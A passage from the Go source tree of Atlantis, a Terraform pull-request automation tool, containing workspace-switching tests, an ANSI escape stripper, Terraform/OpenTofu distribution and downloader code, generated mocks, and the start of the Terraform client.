TestRun_NoWorkspaceIn08(t *testing.T) { // We don't want any workspace commands to be run in 0.8. RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, _ := version.NewVersion("0.8") workspace := "default" logger := logging.NewNoopLogger(t) ctx := command.ProjectContext{ Log: logger, Workspace: workspace, } s := NewWorkspaceStepRunnerDelegate(terraform, tfDistribution, tfVersion, &NullRunner{}) _, err := s.Run(ctx, []string{"extra", "args"}, "/path", map[string]string(nil)) Ok(t, err) // Verify that no env or workspace commands were run terraform.VerifyWasCalled(Never()).RunCommandWithVersion(ctx, "/path", []string{"env", "select", "workspace"}, map[string]string(nil), tfDistribution, tfVersion, workspace) terraform.VerifyWasCalled(Never()).RunCommandWithVersion(ctx, "/path", []string{"workspace", "select", "workspace"}, map[string]string(nil), tfDistribution, tfVersion, workspace) } func TestRun_ErrWorkspaceIn08(t *testing.T) { // If they attempt to use a workspace other than default in 0.8 // we should error. RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, _ := version.NewVersion("0.8") logger := logging.NewNoopLogger(t) workspace := "notdefault" s := NewWorkspaceStepRunnerDelegate(terraform, tfDistribution, tfVersion, &NullRunner{}) _, err := s.Run(command.ProjectContext{ Log: logger, Workspace: workspace, }, []string{"extra", "args"}, "/path", map[string]string(nil)) ErrEquals(t, "terraform version 0.8.0 does not support workspaces", err) } func TestRun_SwitchesWorkspace(t *testing.T) { RegisterMockTestingT(t) mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) cases := []struct { tfVersion string expWorkspaceCmd string }{ { "0.9.0", "env", }, { "0.9.11", "env", }, { "0.10.0", "workspace", }, { "0.11.0", "workspace", }, } for _, c := range cases { t.Run(c.tfVersion, func(t *testing.T) { terraform := tfclientmocks.NewMockClient() tfVersion, _ := version.NewVersion(c.tfVersion) logger := logging.NewNoopLogger(t) ctx := command.ProjectContext{ Log: logger, Workspace: "workspace", } s := NewWorkspaceStepRunnerDelegate(terraform, tfDistribution, tfVersion, &NullRunner{}) _, err := s.Run(ctx, []string{"extra", "args"}, "/path", map[string]string(nil)) Ok(t, err) // Verify that env select was called as well as plan. terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, "/path", []string{c.expWorkspaceCmd, "select", "workspace"}, map[string]string(nil), tfDistribution, tfVersion, "workspace") }) } } func TestRun_SwitchesWorkspaceDistribution(t *testing.T) { RegisterMockTestingT(t) mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) cases := []struct { tfVersion string tfDistribution string expWorkspaceCmd string }{ { "0.9.0", "opentofu", "env", }, { "0.9.11", "terraform", "env", }, { "0.10.0", "terraform", "workspace", }, { "0.11.0", "opentofu", "workspace", }, } for _, c := range cases { t.Run(c.tfVersion, func(t *testing.T) { terraform := tfclientmocks.NewMockClient() tfVersion, _ := version.NewVersion(c.tfVersion) logger := logging.NewNoopLogger(t) ctx := command.ProjectContext{ Log: logger, Workspace: "workspace", TerraformDistribution: &c.tfDistribution, } s := NewWorkspaceStepRunnerDelegate(terraform, tfDistribution, tfVersion, &NullRunner{}) _, err := s.Run(ctx, []string{"extra", "args"}, "/path", map[string]string(nil)) Ok(t, err) // Verify that env select was called as well as plan. terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(ctx), Eq("/path"), Eq([]string{c.expWorkspaceCmd, "select", "workspace"}), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq("workspace")) }) } } func TestRun_CreatesWorkspace(t *testing.T) { // Test that if `workspace select` fails, we call `workspace new`. RegisterMockTestingT(t) cases := []struct { tfVersion string expWorkspaceCommand string }{ { "0.9.0", "env", }, { "0.9.11", "env", }, { "0.10.0", "workspace", }, { "0.11.0", "workspace", }, } for _, c := range cases { t.Run(c.tfVersion, func(t *testing.T) { terraform := tfclientmocks.NewMockClient() mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, _ := version.NewVersion(c.tfVersion) logger := logging.NewNoopLogger(t) ctx := command.ProjectContext{ Log: logger, Workspace: "workspace", RepoRelDir: ".", User: models.User{Username: "username"}, EscapedCommentArgs: []string{"comment", "args"}, Pull: models.PullRequest{ Num: 2, }, BaseRepo: models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", }, } s := NewWorkspaceStepRunnerDelegate(terraform, tfDistribution, tfVersion, &NullRunner{}) // Ensure that we actually try to switch workspaces by making the // output of `workspace show` to be a different name. When(terraform.RunCommandWithVersion(ctx, "/path", []string{"workspace", "show"}, map[string]string(nil), tfDistribution, tfVersion, "workspace")).ThenReturn("diffworkspace\n", nil) expWorkspaceArgs := []string{c.expWorkspaceCommand, "select", "workspace"} When(terraform.RunCommandWithVersion(ctx, "/path", expWorkspaceArgs, map[string]string(nil), tfDistribution, tfVersion, "workspace")).ThenReturn("", errors.New("workspace does not exist")) _, err := s.Run(ctx, []string{"extra", "args"}, "/path", map[string]string(nil)) Ok(t, err) // Verify that env select was called as well as plan. terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, "/path", expWorkspaceArgs, map[string]string(nil), tfDistribution, tfVersion, "workspace") }) } } func TestRun_NoWorkspaceSwitchIfNotNecessary(t *testing.T) { // Tests that if workspace show says we're on the right workspace we don't // switch. RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, _ := version.NewVersion("0.10.0") logger := logging.NewNoopLogger(t) ctx := command.ProjectContext{ Log: logger, Workspace: "workspace", RepoRelDir: ".", User: models.User{Username: "username"}, EscapedCommentArgs: []string{"comment", "args"}, Pull: models.PullRequest{ Num: 2, }, BaseRepo: models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", }, } s := NewWorkspaceStepRunnerDelegate(terraform, tfDistribution, tfVersion, &NullRunner{}) When(terraform.RunCommandWithVersion(ctx, "/path", []string{"workspace", "show"}, map[string]string(nil), tfDistribution, tfVersion, "workspace")).ThenReturn("workspace\n", nil) _, err := s.Run(ctx, []string{"extra", "args"}, "/path", map[string]string(nil)) Ok(t, err) // Verify that workspace select was never called. terraform.VerifyWasCalled(Never()).RunCommandWithVersion(ctx, "/path", []string{"workspace", "select", "workspace"}, map[string]string(nil), tfDistribution, tfVersion, "workspace") } ================================================ FILE: server/core/terraform/ansi/strip.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package ansi import ( "regexp" ) const ansi = "[\u001B\u009B][[\\]()#;?]*(?:(?:(?:[a-zA-Z\\d]*(?:;[a-zA-Z\\d]*)*)?\u0007)|(?:(?:\\d{1,4}(?:;\\d{0,4})*)?[\\dA-PRZcf-ntqry=><~]))" var re = regexp.MustCompile(ansi) func Strip(str string) string { return re.ReplaceAllString(str, "") } ================================================ FILE: server/core/terraform/ansi/strip_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package ansi import "testing" func TestStrip(t *testing.T) { tests := []struct { name string str string want string }{ { name: "strip ansi", //nolint:staticcheck // keep literal ANSI escape chars to match actual output str: ` + create Plan: 3 to add, 0 to change, 0 to destroy. `, want: ` + create Plan: 3 to add, 0 to change, 0 to destroy. `, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { if got := Strip(tt.str); got != tt.want { t.Errorf("Strip() = %v, want %v", got, tt.want) } }) } } ================================================ FILE: server/core/terraform/distribution.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package terraform import ( "context" "fmt" "sort" "github.com/hashicorp/go-version" "github.com/hashicorp/hc-install/product" "github.com/hashicorp/hc-install/releases" "github.com/opentofu/tofudl" ) type Distribution interface { BinName() string Downloader() Downloader // ResolveConstraint gets the latest version for the given constraint ResolveConstraint(context.Context, string) (*version.Version, error) } func NewDistribution(distribution string) Distribution { tfDistribution := NewDistributionTerraform() if distribution == "opentofu" { tfDistribution = NewDistributionOpenTofu() } return tfDistribution } type DistributionOpenTofu struct { downloader Downloader } func NewDistributionOpenTofu() Distribution { return &DistributionOpenTofu{ downloader: &TofuDownloader{}, } } func NewDistributionOpenTofuWithDownloader(downloader Downloader) Distribution { return &DistributionOpenTofu{ downloader: downloader, } } func (*DistributionOpenTofu) BinName() string { return "tofu" } func (d *DistributionOpenTofu) Downloader() Downloader { return d.downloader } func (*DistributionOpenTofu) ResolveConstraint(ctx context.Context, constraintStr string) (*version.Version, error) { dl, err := tofudl.New() if err != nil { return nil, err } vc, err := version.NewConstraint(constraintStr) if err != nil { return nil, fmt.Errorf("error parsing constraint string: %s", err) } allVersions, err := dl.ListVersions(ctx) if err != nil { return nil, fmt.Errorf("error listing OpenTofu versions: %s", err) } var versions []*version.Version for _, ver := range allVersions { v, err := version.NewVersion(string(ver.ID)) if err != nil { return nil, err } if vc.Check(v) { versions = append(versions, v) } } sort.Sort(version.Collection(versions)) if len(versions) == 0 { return nil, fmt.Errorf("no OpenTofu versions found for constraints %s", constraintStr) } // We want to select the highest version that satisfies the constraint. version := versions[len(versions)-1] // Get the Version object from the versionDownloader. return version, nil } type DistributionTerraform struct { downloader Downloader } func NewDistributionTerraform() Distribution { return &DistributionTerraform{ downloader: &TerraformDownloader{}, } } func NewDistributionTerraformWithDownloader(downloader Downloader) Distribution { return &DistributionTerraform{ downloader: downloader, } } func (*DistributionTerraform) BinName() string { return "terraform" } func (d *DistributionTerraform) Downloader() Downloader { return d.downloader } func (*DistributionTerraform) ResolveConstraint(ctx context.Context, constraintStr string) (*version.Version, error) { vc, err := version.NewConstraint(constraintStr) if err != nil { return nil, fmt.Errorf("error parsing constraint string: %s", err) } constrainedVersions := &releases.Versions{ Product: product.Terraform, Constraints: vc, } installCandidates, err := constrainedVersions.List(ctx) if err != nil { return nil, fmt.Errorf("error listing available versions: %s", err) } if len(installCandidates) == 0 { return nil, fmt.Errorf("no Terraform versions found for constraints %s", constraintStr) } // We want to select the highest version that satisfies the constraint. versionDownloader := installCandidates[len(installCandidates)-1] // Get the Version object from the versionDownloader. return versionDownloader.(*releases.ExactVersion).Version, nil } ================================================ FILE: server/core/terraform/distribution_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package terraform_test import ( "context" "testing" "github.com/runatlantis/atlantis/server/core/terraform" . "github.com/runatlantis/atlantis/testing" ) func TestOpenTofuBinName(t *testing.T) { d := terraform.NewDistributionOpenTofu() Equals(t, d.BinName(), "tofu") } func TestResolveOpenTofuVersions(t *testing.T) { d := terraform.NewDistributionOpenTofu() version, err := d.ResolveConstraint(context.Background(), "= 1.8.0") Ok(t, err) Equals(t, version.String(), "1.8.0") } func TestTerraformBinName(t *testing.T) { d := terraform.NewDistributionTerraform() Equals(t, d.BinName(), "terraform") } func TestResolveTerraformVersions(t *testing.T) { d := terraform.NewDistributionTerraform() version, err := d.ResolveConstraint(context.Background(), "= 1.9.3") Ok(t, err) Equals(t, version.String(), "1.9.3") } ================================================ FILE: server/core/terraform/downloader.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package terraform import ( "context" "os" "path/filepath" "github.com/hashicorp/go-version" install "github.com/hashicorp/hc-install" "github.com/hashicorp/hc-install/product" "github.com/hashicorp/hc-install/releases" "github.com/hashicorp/hc-install/src" "github.com/opentofu/tofudl" ) //go:generate pegomock generate --package mocks -o mocks/mock_downloader.go Downloader // Downloader is for downloading terraform versions. type Downloader interface { Install(ctx context.Context, dir string, downloadURL string, v *version.Version) (string, error) } type TofuDownloader struct{} func (d *TofuDownloader) Install(ctx context.Context, dir string, _downloadURL string, v *version.Version) (string, error) { // Initialize the downloader: dl, err := tofudl.New() if err != nil { return "", err } binary, err := dl.Download(ctx, tofudl.DownloadOptVersion(tofudl.Version(v.String()))) if err != nil { return "", err } // Write out the tofu binary to the disk: file := filepath.Join(dir, "tofu"+v.String()) if err := os.WriteFile(file, binary, 0755); /* #nosec G306 */ err != nil { return "", err } return file, nil } type TerraformDownloader struct{} func (d *TerraformDownloader) Install(ctx context.Context, dir string, downloadURL string, v *version.Version) (string, error) { installer := install.NewInstaller() execPath, err := installer.Install(ctx, []src.Installable{ &releases.ExactVersion{ Product: product.Terraform, Version: v, InstallDir: dir, ApiBaseURL: downloadURL, }, }) if err != nil { return "", err } // hc-install installs terraform binary as just "terraform". // We need to rename it to terraform{version} to be consistent with current naming convention. newPath := filepath.Join(dir, "terraform"+v.String()) if err := os.Rename(execPath, newPath); err != nil { return "", err } return newPath, nil } ================================================ FILE: server/core/terraform/downloader_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package terraform_test import ( "context" "os" "testing" "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/cmd" "github.com/runatlantis/atlantis/server/core/terraform" ) func TestTerraformInstall(t *testing.T) { d := &terraform.TerraformDownloader{} RegisterMockTestingT(t) binDir := t.TempDir() v, _ := version.NewVersion("1.8.1") newPath, err := d.Install(context.Background(), binDir, cmd.DefaultTFDownloadURL, v) if err != nil { t.Fatalf("Unexpected error: %v", err) } if _, err := os.Stat(newPath); os.IsNotExist(err) { t.Errorf("Binary not found at %s", newPath) } } func TestOpenTofuInstall(t *testing.T) { d := &terraform.TofuDownloader{} RegisterMockTestingT(t) binDir := t.TempDir() v, _ := version.NewVersion("1.8.0") newPath, err := d.Install(context.Background(), binDir, cmd.DefaultTFDownloadURL, v) if err != nil { t.Fatalf("Unexpected error: %v", err) } if _, err := os.Stat(newPath); os.IsNotExist(err) { t.Errorf("Binary not found at %s", newPath) } } ================================================ FILE: server/core/terraform/mocks/mock_downloader.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/core/terraform (interfaces: Downloader) package mocks import ( context "context" go_version "github.com/hashicorp/go-version" pegomock "github.com/petergtz/pegomock/v4" "reflect" "time" ) type MockDownloader struct { fail func(message string, callerSkip ...int) } func NewMockDownloader(options ...pegomock.Option) *MockDownloader { mock := &MockDownloader{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockDownloader) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockDownloader) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockDownloader) Install(ctx context.Context, dir string, downloadURL string, v *go_version.Version) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockDownloader().") } _params := []pegomock.Param{ctx, dir, downloadURL, v} _result := pegomock.GetGenericMockFrom(mock).Invoke("Install", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockDownloader) VerifyWasCalledOnce() *VerifierMockDownloader { return &VerifierMockDownloader{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockDownloader) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockDownloader { return &VerifierMockDownloader{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockDownloader) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockDownloader { return &VerifierMockDownloader{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockDownloader) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockDownloader { return &VerifierMockDownloader{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockDownloader struct { mock *MockDownloader invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockDownloader) Install(ctx context.Context, dir string, downloadURL string, v *go_version.Version) *MockDownloader_Install_OngoingVerification { _params := []pegomock.Param{ctx, dir, downloadURL, v} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Install", _params, verifier.timeout) return &MockDownloader_Install_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockDownloader_Install_OngoingVerification struct { mock *MockDownloader methodInvocations []pegomock.MethodInvocation } func (c *MockDownloader_Install_OngoingVerification) GetCapturedArguments() (context.Context, string, string, *go_version.Version) { ctx, dir, downloadURL, v := c.GetAllCapturedArguments() return ctx[len(ctx)-1], dir[len(dir)-1], downloadURL[len(downloadURL)-1], v[len(v)-1] } func (c *MockDownloader_Install_OngoingVerification) GetAllCapturedArguments() (_param0 []context.Context, _param1 []string, _param2 []string, _param3 []*go_version.Version) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]context.Context, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(context.Context) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } if len(_params) > 2 { _param2 = make([]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(string) } } if len(_params) > 3 { _param3 = make([]*go_version.Version, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(*go_version.Version) } } } return } ================================================ FILE: server/core/terraform/tfclient/mocks/mock_terraform_client.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/core/terraform/tfclient (interfaces: Client) package mocks import ( go_version "github.com/hashicorp/go-version" pegomock "github.com/petergtz/pegomock/v4" terraform "github.com/runatlantis/atlantis/server/core/terraform" command "github.com/runatlantis/atlantis/server/events/command" logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) type MockClient struct { fail func(message string, callerSkip ...int) } func NewMockClient(options ...pegomock.Option) *MockClient { mock := &MockClient{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockClient) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockClient) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockClient) DetectVersion(log logging.SimpleLogging, projectDirectory string) *go_version.Version { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } _params := []pegomock.Param{log, projectDirectory} _result := pegomock.GetGenericMockFrom(mock).Invoke("DetectVersion", _params, []reflect.Type{reflect.TypeOf((**go_version.Version)(nil)).Elem()}) var _ret0 *go_version.Version if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(*go_version.Version) } } return _ret0 } func (mock *MockClient) EnsureVersion(log logging.SimpleLogging, d terraform.Distribution, v *go_version.Version) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } _params := []pegomock.Param{log, d, v} _result := pegomock.GetGenericMockFrom(mock).Invoke("EnsureVersion", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockClient) RunCommandWithVersion(ctx command.ProjectContext, path string, args []string, envs map[string]string, d terraform.Distribution, v *go_version.Version, workspace string) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockClient().") } _params := []pegomock.Param{ctx, path, args, envs, d, v, workspace} _result := pegomock.GetGenericMockFrom(mock).Invoke("RunCommandWithVersion", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockClient) VerifyWasCalledOnce() *VerifierMockClient { return &VerifierMockClient{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockClient) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockClient { return &VerifierMockClient{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockClient) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockClient { return &VerifierMockClient{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockClient) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockClient { return &VerifierMockClient{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockClient struct { mock *MockClient invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockClient) DetectVersion(log logging.SimpleLogging, projectDirectory string) *MockClient_DetectVersion_OngoingVerification { _params := []pegomock.Param{log, projectDirectory} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DetectVersion", _params, verifier.timeout) return &MockClient_DetectVersion_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockClient_DetectVersion_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } func (c *MockClient_DetectVersion_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, string) { log, projectDirectory := c.GetAllCapturedArguments() return log[len(log)-1], projectDirectory[len(projectDirectory)-1] } func (c *MockClient_DetectVersion_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } } return } func (verifier *VerifierMockClient) EnsureVersion(log logging.SimpleLogging, d terraform.Distribution, v *go_version.Version) *MockClient_EnsureVersion_OngoingVerification { _params := []pegomock.Param{log, d, v} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "EnsureVersion", _params, verifier.timeout) return &MockClient_EnsureVersion_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockClient_EnsureVersion_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } func (c *MockClient_EnsureVersion_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, terraform.Distribution, *go_version.Version) { log, d, v := c.GetAllCapturedArguments() return log[len(log)-1], d[len(d)-1], v[len(v)-1] } func (c *MockClient_EnsureVersion_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []terraform.Distribution, _param2 []*go_version.Version) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]terraform.Distribution, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(terraform.Distribution) } } if len(_params) > 2 { _param2 = make([]*go_version.Version, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(*go_version.Version) } } } return } func (verifier *VerifierMockClient) RunCommandWithVersion(ctx command.ProjectContext, path string, args []string, envs map[string]string, d terraform.Distribution, v *go_version.Version, workspace string) *MockClient_RunCommandWithVersion_OngoingVerification { _params := []pegomock.Param{ctx, path, args, envs, d, v, workspace} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "RunCommandWithVersion", _params, verifier.timeout) return &MockClient_RunCommandWithVersion_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockClient_RunCommandWithVersion_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } func (c *MockClient_RunCommandWithVersion_OngoingVerification) GetCapturedArguments() (command.ProjectContext, string, []string, map[string]string, terraform.Distribution, *go_version.Version, string) { ctx, path, args, envs, d, v, workspace := c.GetAllCapturedArguments() return ctx[len(ctx)-1], path[len(path)-1], args[len(args)-1], envs[len(envs)-1], d[len(d)-1], v[len(v)-1], workspace[len(workspace)-1] } func (c *MockClient_RunCommandWithVersion_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []string, _param2 [][]string, _param3 []map[string]string, _param4 []terraform.Distribution, _param5 []*go_version.Version, _param6 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(command.ProjectContext) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } if len(_params) > 2 { _param2 = make([][]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.([]string) } } if len(_params) > 3 { _param3 = make([]map[string]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(map[string]string) } } if len(_params) > 4 { _param4 = make([]terraform.Distribution, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(terraform.Distribution) } } if len(_params) > 5 { _param5 = make([]*go_version.Version, len(c.methodInvocations)) for u, param := range _params[5] { _param5[u] = param.(*go_version.Version) } } if len(_params) > 6 { _param6 = make([]string, len(c.methodInvocations)) for u, param := range _params[6] { _param6[u] = param.(string) } } } return } ================================================ FILE: server/core/terraform/tfclient/terraform_client.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. // // Package tfclient handles the actual running of terraform commands. package tfclient import ( "context" "fmt" "os" "os/exec" "path/filepath" "regexp" "strings" "sync" "time" "github.com/hashicorp/go-version" "github.com/hashicorp/terraform-config-inspect/tfconfig" "github.com/mitchellh/go-homedir" "github.com/runatlantis/atlantis/server/core/runtime/models" "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/core/terraform/ansi" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/jobs" "github.com/runatlantis/atlantis/server/logging" ) var LogStreamingValidCmds = [...]string{"init", "plan", "apply"} //go:generate pegomock generate --package mocks -o mocks/mock_terraform_client.go Client type Client interface { // RunCommandWithVersion executes terraform with args in path. If v is nil, // it will use the default Terraform version. workspace is the Terraform // workspace which should be set as an environment variable. RunCommandWithVersion(ctx command.ProjectContext, path string, args []string, envs map[string]string, d terraform.Distribution, v *version.Version, workspace string) (string, error) // EnsureVersion makes sure that terraform version `v` is available to use EnsureVersion(log logging.SimpleLogging, d terraform.Distribution, v *version.Version) error // DetectVersion Extracts required_version from Terraform configuration in the specified project directory. Returns nil if unable to determine the version. DetectVersion(log logging.SimpleLogging, projectDirectory string) *version.Version } type DefaultClient struct { // Distribution handles logic specific to the TF distribution being used by Atlantis distribution terraform.Distribution // defaultVersion is the default version of terraform to use if another // version isn't specified. defaultVersion *version.Version // We will run terraform with the TF_PLUGIN_CACHE_DIR env var set to this // directory inside our data dir. terraformPluginCacheDir string binDir string // overrideTF can be used to override the terraform binary during testing // with another binary, ex. echo. overrideTF string // settings for the downloader. downloadBaseURL string downloadAllowed bool // versions maps from the string representation of a tf version (ex. 0.11.10) // to the absolute path of that binary on disk (if it exists). // Use versionsLock to control access. versions map[string]string // versionsLock is used to ensure versions isn't being concurrently written to. versionsLock *sync.Mutex // usePluginCache determines whether or not to set the TF_PLUGIN_CACHE_DIR env var usePluginCache bool projectCmdOutputHandler jobs.ProjectCommandOutputHandler } // versionRegex extracts the version from `terraform version` output. // // Terraform v0.12.0-alpha4 (2c36829d3265661d8edbd5014de8090ea7e2a076) // => 0.12.0-alpha4 // // Terraform v0.11.10 // => 0.11.10 // // OpenTofu v1.0.0 // => 1.0.0 var versionRegex = regexp.MustCompile("(?:Terraform|OpenTofu) v(.*?)(\\s.*)?\n") // NewClientWithDefaultVersion creates a new terraform client and pre-fetches the default version func NewClientWithDefaultVersion( log logging.SimpleLogging, distribution terraform.Distribution, binDir string, cacheDir string, tfeToken string, tfeHostname string, defaultVersionStr string, defaultVersionFlagName string, tfDownloadURL string, tfDownloadAllowed bool, usePluginCache bool, fetchAsync bool, projectCmdOutputHandler jobs.ProjectCommandOutputHandler, ) (*DefaultClient, error) { var finalDefaultVersion *version.Version var localVersion *version.Version versions := make(map[string]string) var versionsLock sync.Mutex localPath, err := exec.LookPath(distribution.BinName()) if err != nil && defaultVersionStr == "" { return nil, fmt.Errorf("%s not found in $PATH. Set --%s or download terraform from https://developer.hashicorp.com/terraform/downloads", distribution.BinName(), defaultVersionFlagName) } if err == nil { localVersion, err = getVersion(localPath, distribution.BinName()) if err != nil { return nil, err } versions[localVersion.String()] = localPath if defaultVersionStr == "" { // If they haven't set a default version, then whatever they had // 